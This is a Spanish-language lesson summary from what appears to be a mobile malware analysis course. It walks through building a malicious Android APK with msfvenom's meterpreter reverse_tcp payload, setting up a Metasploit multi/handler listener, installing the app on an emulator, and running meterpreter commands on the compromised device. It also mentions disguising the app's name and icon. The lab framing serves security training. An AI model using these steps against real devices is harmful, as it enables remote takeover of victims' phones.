Creación de APK Maliciosa con Metasploit en Android

Clase 14 de 22Curso de Análisis de Malware para Dispositivos Móviles

Contenido del curso

Resumen

Comprender cómo se generan las aplicaciones maliciosas es un paso fundamental para cualquier profesional que trabaje en análisis de malware en Android. Saber cómo un atacante construye y despliega un payload permite anticipar amenazas y fortalecer las defensas de los dispositivos móviles.

¿Cómo se genera una APK maliciosa con msfvenom?

El proceso comienza dentro de un entorno Linux utilizando msfvenom, el complemento de Metasploit diseñado para generar payloads personalizados [1:00]. El comando se estructura de la siguiente manera:

  • Se selecciona el payload con el parámetro -p, en este caso android/meterpreter/reverse_tcp, que establece una sesión meterpreter con conexión inversa TCP.
  • Se configura el parámetro -lhost con la dirección IP del atacante, que es la máquina a la que la víctima se conectará de forma remota.
  • Se define el puerto con -lport, en este ejemplo el 4545.
  • Se indica el nombre del archivo de salida con el parámetro de output, por ejemplo mfs.apk.

Una vez ejecutado el comando, el sistema genera la APK con el tamaño y nombre establecidos. Se puede verificar listando los archivos del directorio con ls [2:28].

¿Qué es una conexión reverse TCP?

Este tipo de conexión funciona de manera que el dispositivo infectado inicia la comunicación hacia el atacante, en lugar de que el atacante se conecte directamente al dispositivo. Esto permite evadir ciertos controles de red, ya que el tráfico saliente suele ser menos vigilado que el entrante.

¿Cómo se configura el listener en Metasploit?

Después de generar la APK, es necesario poner en escucha un handler que reciba las conexiones entrantes [2:45]. Los pasos son:

  • Abrir la consola con el comando msfconsole.
  • Ejecutar use multi/handler para activar el módulo de escucha.
  • Establecer el payload con set payload android/meterpreter/reverse_tcp.
  • Configurar el puerto correcto con set LPORT 4545, ya que por defecto puede aparecer el 4444.
  • Definir el host local con set LHOST seguido de la dirección IP correspondiente.
  • Verificar la configuración con show options y finalmente ejecutar exploit para iniciar la escucha [3:52].

¿Cómo se instala la APK en el dispositivo víctima?

Para las pruebas se utiliza un emulador Android como Genymotion. Basta con arrastrar la APK generada hacia la ventana del emulador para que se instale y ejecute automáticamente [4:10]. La aplicación aparece en el dispositivo con el nombre MainActivity, que es el nombre por defecto que Metasploit le asigna, aunque tanto el título como el ícono pueden ser modificados.

¿Qué se puede hacer una vez establecida la sesión meterpreter?

Cuando la víctima ejecuta la aplicación, se abre una sesión meterpreter en la consola del atacante, lo que significa que el dispositivo ha sido comprometido [4:25]. A partir de ese momento, se dispone de múltiples comandos para interactuar con el teléfono:

  • sysinfo: muestra información del sistema, como la versión de Android, el kernel Linux y el entorno de ejecución [4:48].
  • check_root: verifica si el dispositivo está rooteado, lo cual representa uno de los principales peligros de seguridad en dispositivos móviles [5:05].

El rooteo del teléfono elimina las restricciones de seguridad del sistema operativo, otorgando acceso completo a todos los archivos y procesos. Esto facilita enormemente la tarea de un atacante, ya que puede acceder a información sensible sin las barreras habituales del sistema.

Este ejercicio demuestra lo accesible que resulta para un atacante generar una aplicación maliciosa funcional. La combinación de msfvenom para la creación del payload y msfconsole para la gestión de sesiones convierte a Metasploit en una herramienta poderosa tanto para atacantes como para profesionales de seguridad que necesitan comprender estas técnicas. Si lograste replicar el proceso o encontraste algún inconveniente durante la configuración, comparte tu experiencia en los comentarios.